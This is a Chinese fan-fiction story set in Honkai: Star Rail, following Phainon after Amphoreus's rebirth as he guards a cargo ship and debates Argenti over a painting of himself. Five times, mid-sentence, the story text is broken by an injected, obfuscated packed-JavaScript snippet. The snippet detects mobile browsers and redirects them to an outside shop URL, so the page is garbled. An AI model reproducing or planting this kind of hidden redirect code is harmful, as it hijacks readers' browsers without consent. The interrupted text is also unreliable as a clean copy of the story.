《【崩坏.星穹铁道】星间飞行》 1. 这给我干哪来了 “提问,哀丽秘榭的白厄,时至今日,你为何仍在愤怒?” “因为我生而为人。” 他猛然睁开了眼睛。 宇宙静谧无言,夜空繁星闪烁,和奥赫玛维持了千千万万岁月的永昼不同,宇宙深处透着深不见底的暗色,他趴在舰船的舷窗上遥望窗外,那是他从未见过的美丽风景,星际和平播报一如既往地开始播报今天的新闻,舰船上的大部分人对这些播报不怎么感兴趣,所以他似乎暂时成了这单调的小广播的唯一听众。 “晚上好,首先向您介绍今天节目的主要内容……博识学会观测到名为“翁法罗斯”的新生星体之上存在生命,这是继博识学会将其编入星图之后的又一重大发现……” “喔,”有人突然兴冲冲地冲了过来接过了话茬,“翁法罗斯啊,我知道!” 他疑惑地望了过去,对方似乎明白他心中的所思所想,炫耀般地拿出了一本书。 “看!《如我所书》珍藏版,上次好不容易在仙舟抢到的,听说其上还有亲历者的亲笔签名……”他大方而慷慨地将自己的珍藏递给了寡言的同伴,“你看,我可是排了好久的队……” 他便把那本书接了过来,翻开封面,第一页上,“那刻夏”几个字清晰可见——用的还是仙舟语,他忍了又忍,最终还是缓慢开口。 “在哪里……排到?” “就在罗浮仙舟行医市集那里,”那人似乎没注意到他一言难尽的复杂表情,他兴致高昂,喋喋不休,“你看,这可是如假包换的那刻夏亲笔签名。” “到底……怎么鉴别……亲笔。” “你看啊,这笔法老练,字迹清晰,一看就是真品,对面和我说假一赔十,话说回来,白厄阁下,我那还有十本,你要不要一本?” “……” “不过说起来,白厄阁下的武艺真叫人佩服,前两天‘反物质军团’袭来的时候,还多亏您出手相救,不然,”那人边说边摇头,“就算我们能平安无事,这一车的货多半也得毁了。不过您真的叫白厄吗?听上去倒是和这本书里的英雄的名字差不多……” 那人说着说着,又笑了笑。 “不过你们好像还是有些不一样的,毕竟您看这本书里的白厄阁下文武双全,极善辨论,可您的天赋与才华似乎更多地用在了武艺方面,当然,这没什么,常言道,‘琥珀王筑起了墙,也会开一扇窗’嘛……再正常不过了。” “琥珀王?” “哎呀,白厄阁下居然连琥珀王都不甚了解?”那人捶胸顿足,仿佛发现了什么稀罕事,“那我要说的可就多了,毕竟我们行于公司开辟的航道之间,怎么能不了解琥珀王呢?琥珀王是已知宇宙间最古老的星神,他在寰宇之间铸下城墙……” “搭档说过。”白厄说,“我知道。” “那……你是有什么疑问嘛,白厄阁下?”那人便又问,“所有关于琥珀王的问题,我都可以解答。” “只是……没有实感。”白厄缓缓地说。 的确没有实感,几天之前他在陌生的地方醒来,千万火种烧灼的苦痛已然消失不见,身上的裂痕也早已修复如初,侵晨仍在身边,他尝试着用它割开自己的手,温热的、鲜红的液体便流了下来,和满溢的黄金般的液体不同,鲜红色的血并不属于黄金裔,他想,再创世应该已经结束,虽然其后的一切记忆也如同烈火灼烧般残缺不清,可他知道,他的搭档,那位来自天外的开拓者和他的伙伴必定会解决一切,那是他轮回三千万次所等到的灰白色的黎明,那是名为翁法罗斯之地的一线生机,他缓慢起身,却听得有人尖声大叫。 “救命啊!” 即使在现在,即使在陌生的地方,他也无法对呼救声坐视不理,他回头望去,只见一群人被团团围住,有人试图逃跑,仓皇之间倒在了地上,而围在那些人身边的奇怪生物,虽然不知道究竟是什么,可他们身上有着浓郁的毁灭味道。 哦,毁灭啊,那好办了。 片刻之后,本以为在反物质军团手下绝无生还可能的几人便目瞪口呆地看着不知道从哪冒出的少年一刀一个,把这些东西解决了个干干净净,知恩图报向来是人类的美德,虽说同样不排除这少年是想将毁灭的走狗打倒之后独享战利品,可按照礼节,为首的人还是抖着嗓音问了出来。 “阁下… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119662|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …怎么称呼?” 声音沙哑,他似乎太久未曾说话,他的名字,虽然他仍然记得,但似乎还需要寻找,翻检那些过往的、破碎的记忆时,他终于找到了自己的名字,于是他缓缓开口,带着连自己也察觉不到的迟疑。 “白厄。”他说。 “啊!”突然有人钻了出来,手中还拿着一本《如我所书》,“你也是这本书的读者嘛?不然,你的名字怎么会和主角一模一样?” “我……” 很熟悉,但想不起来,他张了张口,最后只说。 “不是读者。” “哦!”那人便笑出了声,“那你有一个英雄的名字呢。话说回来,你要去哪?看在救命之恩的份上,我们可以捎你一程。” 想要……去哪? 想要回家。 可,不能回家。 他仍然记得赛法利娅金色的鲜血,记得雅辛忒丝痛苦的悲鸣,记得老师的训诫与阻拦,漫长的岁月中,他一次又一次夺走了同伴的生命,那些声音在脑海中控诉着他,指责着他,他听到耳边嗡鸣的声响,“刽子手”“屠夫”的斥骂声不绝于耳,他想,怎么能回家呢?比起回到翁法罗斯,是不是悄无声息地死在某处角落会更好?手刃同伴几千万次,同伴们怕是快恨死自己了,这样想,他就苦笑了一声。 “哪里都行。” “没什么目的地嘛?”那人问道,“那要不你先上车,我们经常会在星穹间运送货物,到时候每到一个地方,你就下车看看,要是觉得好,你就留下来,这样怎么样?” “不……警惕?” “没事。”那人说,“我们这次也就是返航途中不在舰船里,但我们舰船里的安保措施可是很完善的……但是你可不能吃白饭啊,有些小活你还是要帮忙干的,这笔交易怎么样?” “好。”他说。 “话说回来……”那人又迟疑着说。 “你说话似乎有些艰难……是天生的嘛?” 白厄便摇了摇头。 “不是最好,”那人满意地说,“跟着我们吧,白厄阁下,你可得治好了病,才能更好地到处闲逛啊。” 2. 你好,翁法罗斯 “真没想到。小哥你看着文文弱弱的,力气可真不小。” 舰船终于到站,他将那些货物从舰船的货舱搬上运输载具,旁边的人啧啧称奇。 “举手之劳。”他说。 “唔……一会这些东西就会被运输载具派送到目的地了,”刚刚说话的人又说,“其实要不是这里的接驳点老化,本来连这段距离都不需要手动搬运的……没办法,白厄小哥,辛苦你了。” “没事。” 简短的回复后,现场陷入了尴尬的沉默,刚刚说话的人名为格莱,是这艘行走于星际和平公司航道之中运送各种货物的舰船船长,他干这行时间不算太长,却也多次身处险地。星际和平公司开辟的航道的确安全,可宇宙中总有各种各样的意外发生,譬如上次遇险,就是因为舰队路过某片星云时受到一股特殊的引力吸引,为了冲破那股诡异的引力,舰船强行加速,才会因为能源不足抛锚在那颗本应毫无生机的星球之上,其实毫无生机也没什么,按照他们落地之后的探测,这颗星球上有着舰船需要的能源,有能源,没生物,本来应该是趟常规的补充能源的过程,所以他们才没有呼叫公司的支援自行下船采集燃料,结果返程途中遭遇意外差点小命不保,要不是遇到这位名叫白厄的少年,全队可能都得交代在那里,这年头找个护卫不容易,公司那边的价码一个个高的吓人,想到这他动了点心思,心说自己倒也不算坑他,他们之间也算各取所需,于是他小心翼翼,再度开口。 “白厄小哥?” 对方用疑惑的眼神看着他。 虽说对方言行得当举止合宜,可格莱不知为何总有种被什么恐怖的东西盯上的毛骨悚然感,但这一定是某种错觉,毕竟这位名为白厄的小哥安静又温和,除了战斗力惊人,他并不恐怖,于是格莱想了想,问道。 “你想回家吗?” “暂时……不想……” 他缓缓地说。 好,不是失忆,不想回家,多半是哪个星系出逃的叛逆少年,想到公司密密麻麻的法律条款,保险起见,他又问了一句。 “你成年了吧?” 对方点了点头。 “那好,”格莱松了口气,“其实前两天就想和你说,但一直太忙,没找到机会……小哥,你要不要当我们这艘船队的护卫?反正……恕我直言,你好像一时间也不知道去哪,你似乎很迷茫。” “要做什么?”白厄问。 “也没什么,就像咱们第一次见面那样,如果有什么东西威胁到我们的安全,帮我们搭把手就行,当然,我们会签订常规的劳务合同,合同的风险性你无需担心,这是星际和平公司的制式合同,而且只需要搭把手,毕竟我们只是老实本分的生意人,但是时常有反物质军团在我们航行的航道上逡巡……我们也很头痛。” “为何……是我?” “不瞒你说,小哥,现在护卫太贵了,我雇不起,”提起这个,格莱愁眉苦脸,“我们运一趟货本来就没多少利润,要是全给了全职护卫,我们基本上就是在白跑,但是你……哎呀,你也算是搭我们的船,只要船落地,你想去哪就去哪,只需要在我们航行的时候跟舰就行,所以我给你的工资也不会太高,相应的,工作量也不会太大……” “反物质军团?” 白厄没对待遇提出任何疑问,他敏锐地抓住了格莱话中的关键词,“毁灭?” “是啊,”格莱一时有些摸不着头脑,心说这莫非是被吓怕了?但入职之前的风险告知是不可缺少的一环,作为正经的生意人,他自认自己还算有良心,于是他点了点头,如实告知。 “是的,那是毁灭的爪牙,是徘徊在星海之间的危险,大多数时候我们所遇到的,来自‘人’的危机,都是这些东西带来的,小哥你要是害怕的话也可以理解……” “可以。”白厄打断了他的话,提到毁灭,他的答案只会有一个。他这么爽快反倒让格莱一愣,心说这到底是怕还是不怕,白厄看了他一眼,似乎明白他的疑问,于是缓缓回答。 “毁灭,本就是敌人。你我,殊途同归。” “话虽然这么说,但待遇上我们也不会亏待你……你看一眼,没问题的话签个字,不固定合同,也就是说,小哥你要是想走也随意,工资月结。” 听着这小哥和毁灭似乎有点过节,倒也正常,宇宙间和毁灭没有过节的势力毕竟是少数,每个人都该有自己的秘密,想到这,格莱也就不再追问,他把合同推到白厄面前,一式两份,童叟无欺。 “好。”白厄说。 虽说不太明白合同是什么意思,但他在开拓者那里或多或少了解过一点,他扫了一遍那份文本,确认了一下没什么坑,于是大手一挥,爽快地签下了自己的名字。 “合同签了,咱们也算是一条船上的虫子了。”格莱笑呵呵地收起合同,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119663|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎大大地松了口气,“小哥你拿着这个,我看你好像没带通讯装置,到时候我们联系你会比较方便,离职的时候我会收回。” “传信石板?”白厄问道。 “在你们那里它叫这个?”格莱问,“虽然称呼上可能差点,但是功能应该差不多……你看看?” 确实和自己了解的传信石板差不多,白厄稍微上手,便弄懂了这东西的使用方法,可他还是有点不明白,莫非阿格莱雅的金丝遍布全宇宙?不然,这东西究竟是怎么运行的呢?可这并非他最好奇的事情,实际上虽然不敢回家,但他仍然迫切地想知道翁法罗斯的近况。 也许利用石板是种不错的选择,他想。 “既然这样的话,小哥你可以下车到处转转,”格莱说,“我们大约会在这里停留一周……唔,有事的时候我会叫你,你可一定要及时赶回来啊。” “好。”白厄说。 “说到底,小哥你的语言障碍是天生的?”见白厄要走,格莱又问,短短几天的相处间,白厄发现格莱话虽然多,但其实是个好人,也正因此,他又停住了脚步,想了想,摇了摇头。 格莱松了口气。 “要我说啊,你下去之后,就去找地方看一看,”格莱说,“后天的毛病总是很好治疗……好了,不耽误你的时间了,下去转转吧。” 白厄便点了点头,离开了舰船,望着他的身影离去,格莱才疑惑地收回了目光。 这感觉简直和公司里的那些大人物一模一样,他想,莫非是某种掩人耳目的手段?毕竟宇宙这么大,有不少生物都会虚张声势,小到昆虫,大到巨兽,很多生物都会这些手段,格莱想了想,又笑了一声。 总不可能是真捡了个令使回来吧,哈哈。 另一边,白厄拿到“传讯石板”后,犹豫了好久,最终还是深吸了一口气,颤抖着手点开了搜索界面。 【输入:翁法罗斯】 短暂的停顿后,密密麻麻的信息涌了上来,第一条是翁法罗斯的一张照片,它形如“∞”,静静地垂悬在宇宙之中,旁边是一条解说报道。 “新生的翁法罗斯星球之上探测到生命的痕迹,他们向宇宙传达自己的善意,发出了新生星球的第一声啼哭。” “他们说,你好,世界。” “宇宙对一切新生的星体抱有善意,于是我们同样回应。” “你好,翁法罗斯。” 3. 于是他仰望星星 这颗星球名叫阿特拉斯。 和格莱签完了合同,白厄便下了车,实际上他不知道自己应该去哪,只好漫无目的地到处游荡,临下车前格莱倒是给了他一些信用点,“这是对您的救命之恩的报酬,”格莱这样说,“拿着它,去买点喜欢的东西,或者看看病,都行。” “你这么帅的小伙子,沉默寡言可不行啊,会耽误好事情的。”说着,格莱又揶揄地看了他一眼。 他沉默地谢过了格莱的好意,事实上他清楚地知道,自己的言语能力退化绝非一朝一夕可以治愈。也许有些东西只能依靠他自己,他从未走出旧日,过去的梦魇在他身后紧追不放,同伴的血仿佛还在他的武器上流淌,灿金色的,新的,旧的,已然凝固的,仍然汩汩流淌的,但他定睛一看,侵晨上干干净净,什么都没有。他的耳边时不时响起各种声音,有时是哀嚎,有时是咒骂,翁法罗斯,他心爱的翁法罗斯,他所爱重的伙伴,他们都还好吗?可这个问题,不该由一个罪人思考,他没办法回到翁法罗斯,过去的罪不可赦免,若是死亡能够解决一切,他并不介意死亡,可对于现在的他来说,死亡竟成了一种奢侈的逃避,也许他的结局、他的宿命,就是在星海之间游荡,永远无法回到那颗熟悉的星球上。 这样想来,他简直有些怨憎了,那怨憎的对象并非他人,而是自己。为什么还会再次醒来呢?他为何仍然活着?他想,倘若随着【铁墓】的消亡而烟消云散,自己算不算勉强偿清罪过?其实也不算,一次死亡怎能抵消千万次死亡?他听到有人在他的耳边说话,他便转过身,看到他自己,严肃,沉默,身上仍然是被火烧灼的痕迹。 他问,卡厄斯兰那,你是否后悔于自己手刃同伴的暴行? 不,我从不后悔。他说。 那么,你是否渴求理解和原谅? 不,我不敢奢望理解与原谅。 回过神来,他已走到一处荒无人烟的地方,他不知道这是哪里——这也没什么,反正这是哪里无关紧要,要去哪里并不知晓,此时已近黄昏,巨大的幽蓝色星体缓缓自地平线落下,这里和奥赫玛不同,奥赫玛永远明亮,永远鲜活,直到黑潮降临,他杀死了赛飞儿,从此世界陷入永夜。但在这里,他居然能看到落日——哦,事实上它可能叫α-3或者λ-5,但白厄想称它为太阳,想到这里,他便坐了下来,火种消失后,空虚便填满了他的胸膛,他想起那刻夏老师曾经教导他们的,属于星星的知识。 “……但在最后,我还有一句话要说。”彼时,那刻夏老师说。 他们好奇地抬起了头,那时候课堂上的大家都很年轻,尚且有着旺盛的好奇心和生命力,很奇怪,即使在现在,同学的面容已经逐渐模糊,可那些课程的内容,他还能想得起来,于是记忆里的那刻夏老师高举右手,指向天空。 “事实上,我今天所教导大家的一切,都没有意义。”“那刻夏老师”说。 “因为天是虚假的,星星也是。” 他有点怀疑自己的记忆,如此渎神的发言真的能在课堂上如此堂而皇之地说出来吗?但回忆那刻夏老师的性格,他又不得不承认,由他说出这番话,好像也很正常,记忆里的同学们开始窃窃私语,于是他说。 “安静!” 但四周静寂无声,身侧空无一人,他愣怔了一下,随即也安静下来,幽蓝的星体已将地平线染成一片蓝色,他仍然静默无声地仰望。 这就是真实的世界。 他抚摸地上的泥土,看着附近嶙峋的树,他想起开拓者曾经和他说,每一颗星星都不一样,每颗星星都有它的故事,譬如终年飘雪的贝罗伯格,有着高大建木的仙舟,和美梦环绕的匹诺康尼,阿特拉斯和他们不一样,它有着蓝色的太阳和深红的树。在宇宙间,那么多星体讲述着他们的故事,不管是悲是喜,那总归是个真实的故事。而现在,翁法罗斯终于也能将他们的故事讲述,那里终于不再是一次又一次循环的集 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119664|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合,时光应当已经开始在那颗新生的星球之上流动,这样想着,他便又抬头看向天空。 那刻夏老师,他想,现在,您终于能看到真正的星星了吧。 其实他感觉还不错,他终于能用自己的眼睛看清这片广袤又美丽的星空,视线终于不再因为灼烧而模糊。这里没有黑潮,没有纳努克,没有囚徒,也没有傀儡,他似乎短暂地获得了自由,他仍然看着那片夜空,而后,他拿起了“传讯石板”,拍下了第一张照片。 无人分享,可留作纪念也好,这是他第一次来到陌生的地方,这里的一切对他来说都是新的,他想,倘或真的有一天,他不得不再次死去,有这片星空相伴,似乎也不算白来。 他坐在那里看了半个晚上的星星,直到格莱给他发通讯。 【舰长-格莱】:小哥,今晚不回来了?找到住的地方了吗? 这船长倒还真算古道热肠,白厄想,他拍了拍衣服,站起了身。 【白厄】:一会就回去。 【舰长-格莱】:有件事我思来想去,还是觉得应该说一下。 白厄:“?” 他没作声,只见那古道热肠的舰长又发了一条通讯。 【舰长-格莱】:小哥,白天我看你战斗力强,私心里没和你说,但是你要是真的是离家出走,还是早点回家比较好,要我说啊,像你们这种年龄的小孩子总容易犯错,那也没什么,少年人总有犯错的权力,道个歉,什么事情都没有的…… 白厄没忍住,笑了一声。 他想,短短一句话之内,舰长先生的话里就出现了三处谬误。 其一,从广义上来讲,他并非少年人。 其二,他没有离家出走。 其三。他犯下的罪行无法更改,也不容原谅。 但现在,他得回去了。 无论如何,他好歹有了暂时的住所,也许他可以在漫长的旅行中,慢慢地寻找自己生存的意义。 4. 美的事物永远打动人心 再次回到舰船,已是这颗星球的深夜,格莱左顾右盼,见到他,举了举手,又比了个“小声”的手势。 “回来的大家都睡了。”格莱轻声说,“小声点。” 他点了点头,权做理解,格莱便拉着他找了个位子坐下,盯着他看了半天,末了,递来张票。 “这是?” “看你这样子,你好像还不太了解阿特拉斯。”格莱说。 白厄点了点头。 “虽然名字取自支撑天空的巨人,但这里其实是艺术、诗歌和美的星球。”提起这些,格莱眉飞色舞,滔滔不绝,“阿特拉斯人长着触手,利用这些触手触碰到文艺作品的时候,他们能感知到蕴含在这些文艺作品中的、属于人的真实的情感,也正因此,阿特拉斯的艺术创作能力和鉴赏力在全宇宙都算首屈一指,我们这次运送的货物就是阿特拉斯商人定制的画展纪念品,而这次画展就在明天——三个琥珀纪一次,小哥,你可算是赶巧了,这是画展的门票,明天去转转吧。” “为什么?” “你是想问我为什么要送你票?”格莱似乎已经习惯了白厄的说话方式,他很快补全了白厄的疑问,“不是说了吗?恰巧,而且这些票我这里有很多,一些……旅途赠品,虽说每个人都有,但我觉得你八成不太想和我们一起去。” 白厄一时间不知该如何作答,格莱却挥了挥手。 “很正常,小哥,每个人都有自己的秘密,但同样的,每个人也有享受的权利,我看你这样子,八成是离家出走又不敢和家里说吧?是不是乘着飞行器一路逃跑,不小心抛锚在那颗无人星上?哎,要我说,年轻人就是太冲动了,道个歉,什么事情解决不了呢?当然,我并不想干涉你的个人生活,但,以一个老练的舰船长的名义,我觉得你也许应该散散心……” 这滔滔不绝的船长自顾自地补全着白厄的生平,白厄倒也没纠正,对他来说,他尚不知道该如何面对过去的自己,那披着羊皮的救世主,那最该成祭神的牺牲,相较之下,离家出走的愤世嫉俗青年的人设反倒让他更轻松了一点,他捏着那张票,票面呈现薄膜一样的透明,握起来却相当坚硬,于是他沉默地点点头,谢过了船长的好意,末了,又听格莱问他。 “我看你最近好像在听广播?” “是。”白厄说,“我听说……翁法罗斯上……有新的生命?” “嗨,这事儿怪我,忘了调校设备,”提到这事儿,格莱一拍脑子,“这已经是三四年前的事情了……年,你知道吗?开拓历……” “翁法罗斯……怎么样?” 白厄第一次打断了他的话问道。 “翁法罗斯吗?”格莱想了想,末了,无奈地一摊手。 “我们还没去过翁法罗斯呢,不过,按我听到的一些小道传闻来说,翁法罗斯和公司的关系,好像非常……微妙。” “微妙?” “是啊,”格莱说,“不瞒你说,公司内部分为几个派系,我当然是和平主义者,当然也有人认为,新生的星球蛮荒顽劣,当然应该将自己的资源拱手让出,以换取公司的庇护,所以打从探测到新的生命开始,公司的一部分人就企图……殖民。” 见到白厄瞬间绷紧的神情,格莱笑了笑,安抚地拍了拍白厄的手臂。 “别紧张,“他说,”虽然不知道你为什么那么关注那里,但翁法罗斯是块硬得吓人的骨头,起先公司登上翁法罗斯的时候,以为迎接他们的将是无知的生物,单细胞,草履虫,和丰富的资源,结果你猜怎么着?” 提到这个,格莱一拍大腿,笑出了声。 “迎接他们的是歼星舰和轨道炮,公司那帮家伙看走眼了,翁法罗斯何止形成了生命,其上甚至已经形成了文明……” “您……高兴?” “高兴啊,”格莱带着点幸灾乐祸的笑容,“我其实是个和平主义者,公司很大,其中也有很多派系,老实说,我不太看得起那些捡漏殖民的家伙,和平发展才是正道,结果那群家伙还没来得及做什么,就被缴械后扔进了翁法罗斯的监牢……不过翁法罗斯并非丝毫不讲道理,在一些其他派系的调和下,他们还是和公司达成了初步的协定,你知道的,‘想要接入群星,总得先接入信用点系统’。所以公司和翁法罗斯之间的关系一直挺微妙的,不过翁法罗斯也确实是个狠人辈出的星球……没见过哪个星球出现新生命之后先和公司里的某个派系打一架的。” “说起来,这次的画展上还有翁法罗斯的凯撒大帝的自传,《我来,我见,我征服》,我觉得你会很感兴趣––虽然不知道为什么会被扔在画展的分类,但她的自传好像也有不少人感兴趣。” “确实,”白厄说,他把那张票攥在手里,顿了顿,又说,“……谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119665|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢。” “没事,之后还指望你保驾护航呢,”格莱不以为意,“互相合作,各取所需,小哥,我也是个有私心的生意人啊。” “没关系,”白厄说,“我会……保护。” “在这之前,你还是赶紧睡吧,像你这样的年纪,缺乏睡眠可能会长不高,”格莱说,“明天你应该就能听到实时的广播了……唔,上次跃迁忘了调。” 他拿着手里的小收音机拧来拧去。 看上去自己帮不上什么忙,白厄想,他没好意思说自己实际比舰长先生高了半个头,也许在舰长先生心里,只要是青少年,都需要为了长高做准备。他回到了自己的房间,静默的黑暗里,想到有轨道炮和歼星舰的翁法罗斯,想到凯撒出版的自传,他唇角不明显地勾了勾,陷入了梦乡。 结果第二天,真的来到画展场地,他傻了眼。 谁也没告诉他场地这么大啊! 有地图吗?白厄想,他晕头转向,只能被人群推着走——哦,应该叫生物群,因为其中不仅有人形的生物,还有兴奋地挥舞着触手的生物,安提基色拉人,行走的虫形生物,这是哪,我在哪,我又是谁?他有点晕头转向,不得不顺着人潮而行,他走马观花地看着这些艺术作品,而后,在一幅画像面前,他突然停下了脚步。 画上的那个人,有着和他相差无几的脸庞,唯一的区别,只是画上的人更苍白,更冷漠,画中人的半张脸已然破碎,身躯被烈火焚烧成虚无,但他仍然徒劳地举着剑,挥向遥远的天空。 “《燃烧义人的画像》。”他听到有人在他的身后说,“讲述翁法罗斯的英雄卡厄斯兰那拯救世人的故事……对这幅画有触动实为人之常情,毕竟美的事物,永远如此打动人心。” “恰恰相反。”白厄说,他的好心情几乎荡然无存,为何会在这里看见如此丑恶的他?他又有何资格,有何颜面,悬立于画框之中,高高在上地俯瞰世界?“画的手法很好,其间之人却是个丑陋的畜生与怪物,是个失了人性、徒具愤怒的怪胎。” “我不同意您的看法。”那人彬彬有礼地说。 白厄一回头,便看到身披银色盔甲的红发男人向他扶胸致意。 “我想我们可以对此展开争论,毕竟我不会容许任何美丽遭人如此贬低。”那人继续说道。 “纯美骑士团,银枝,向您致意。” 5. 我们家太阳丢了 “请问……您有何见地?” “我爱这样一种人,”银枝说,他的声音不急不徐,语气柔和坚定,“他肯定未来的人们,拯救过去的人们,因为他甘愿因现在的人们而灭亡。他不为自己保留一滴精神,而想要完全成为自己的道德之精神,他把自己的道德变为自己的偏爱和自己的宿命:因此他甘愿为自己的道德生存或死灭。*因此,倘或您要用卑鄙的言辞怒斥卡厄斯兰那阁下,请恕我不得不驳斥于您。” “您了解他?” 银枝便变魔术般翻出了一本《如我所书》。 “近一个琥珀纪中最伟大的作品之一,记载了黄金裔们与高维存在搏斗的故事,”银枝说,“但我又感到奇怪,倘或您并未看过《如我所书》,不知这幅画的背景故事,您又是为何驳斥卡厄斯兰那阁下为‘丑陋的畜生与怪物,失了人性、徒具愤怒的怪胎’?” “我不理解,”白厄说,他并未正面回答银枝的问题,反倒继续追问,“倘若您真的了解他,就该知道……卡厄斯兰那……以全世之重覆盖……自己的愚蠢,其空负救世主之名……却行杀戮之实,以愤怒,矫饰自身,其所作所为,是为残杀者之卑劣可耻之行径,称其为丑恶的生灵……并无不妥。” 白厄说话很慢,但银枝只是耐心地听着,尽管观点不同,意见相左,但他仍然认真地望着白厄的眼睛,等到白厄停下并点头示意,银枝才继续说道。 “但在我看来,卡厄斯兰那阁下所蕴含的愤怒,恰恰是纯美的证明。”银枝说,“于谎言之中洞彻真实,同样亦是纯美骑士所必备的素养,高维生物视翁法罗斯为虫豸,而卡厄斯兰那阁下为拯救世界不得不重复无望的轮回,直至黎明显现,向着无望的未来一次次冲击,愤怒是其生而为人的证明,为何丑陋?为何怪胎?” “至于杀戮,”银枝说,“请容许我以拙劣的比喻做比,假使有人站在道中手握操纵杆,列车即将袭来,他的左侧——列车行进的道路——上绑着五名孩童,右侧废弃的铁轨上绑着一名孩童,那么,他是否应该按下操纵杆,以更少的性命拯救更多的性命?” “为何不能……将两边都救下?” “很好,阁下,你已经开始跳出谜题思考,”银枝说,“可是谁给你设了这样的难题?是谁一定要你在一条生命和五条生命之间放言拯救?” 说着,他笑了。 “是我,是故事的讲述人,是我令你步入道德的进退两难,是我将选择的权力加诸你身,所以无论你是否掰动摇杆,无论你选择拯救正确的少数或是错误的多数,请不要忘记,在这个故事的最开端,所谓道德的进退两难,本就由旁人施加,这样算来,这笔道德的血债,自然也该算在我这讲述人头上。” “现在,您是否能够稍微理解卡厄斯兰那阁下?” “我不能。”白厄说,“爱与恨,归于一点,固然不假,可那愤怒……将他熊熊点燃……他接受自己的……愤怒,便是……接受了自己的丑恶……那可憎恶的愤怒……烧尽了他的同伴……他犯下累累暴行,自然不该有……获得原谅的……权利。谁当轻言原谅?在我看来,这丑陋卑劣的……应当带着自己的罪行……生生世世行于冥河之中,感受深不见底的苦厄。” “阁下,您刚刚提到,爱与恨可归于一点,故而您同样应当理解,愤怒缘何必然丑恶?”银枝转头望向那副《燃烧义人的画像》,轻声问道,“生而为人,世间一切都并无固定答案,为保护同伴而萌生的义愤、为拯救家园而一次一次踏入轮回,以至形骸消散,肉身溃败。愤怒并非可憎恶之物,他的愤怒如火焰般熊熊燃起,却正是爱与纯美的证明。” 说着,他又望向白厄。 “倘或您实在无法理解,我同样理解您,因为彼此理解,同样是纯美骑士团应当践行的道路,”银枝说,“那么,让我们姑且放下这些,是否能斗胆邀请您和我一同观看这美的画展?” “……” 白厄看看左边,看看右边,又看看中间的画像,他不得不悲惨地承认一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119666|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个事实。 ……他好像在迷路。 现在跟着这红发的纯美骑士走,似乎也不赖,这么想着,他便点了点头,暂且将争辩搁置一旁,而银枝看到他点头,笑意更深。 “现在,我还有一个问题。” “什么?” “请问您是否承认,纯美星神伊德莉拉美貌盖世无双?” “……谁?” 《燃烧义人的画像》仍然高高在上地俯瞰着他,白厄与画中人目光对望,看到画中人悲悯的目光落在他身上,他心说自己是失忆了吗?明明每一次夺取火种都无比丑恶,明明是那样扭曲的、那样卑劣的面庞…… 为何,在画中,他眼含悲悯与坚定? 跟随银枝离开之前,他最后看了一眼那幅画,意外地在右下角发现一行小字。 “缇里西庇俄丝”。 白厄很快为自己那一句“……谁?”付出了代价,这纯美的骑士哪里都好,就是提起那位纯美星神伊德莉拉便喋喋不休,几百米的距离,白厄已经听完了纯美星神的名号、纯美星神的故事、纯美骑士团的来源,不过好在银枝此人确实无愧纯美骑士之名,他总能对画展上画的来源头头是道,从起源到背景再到艺术手法,银枝可谓了如指掌,白厄并不讨厌这位践行纯美之道的临时同伴,听说他对宇宙了解不多,银枝甚至还插了点宇宙八卦。 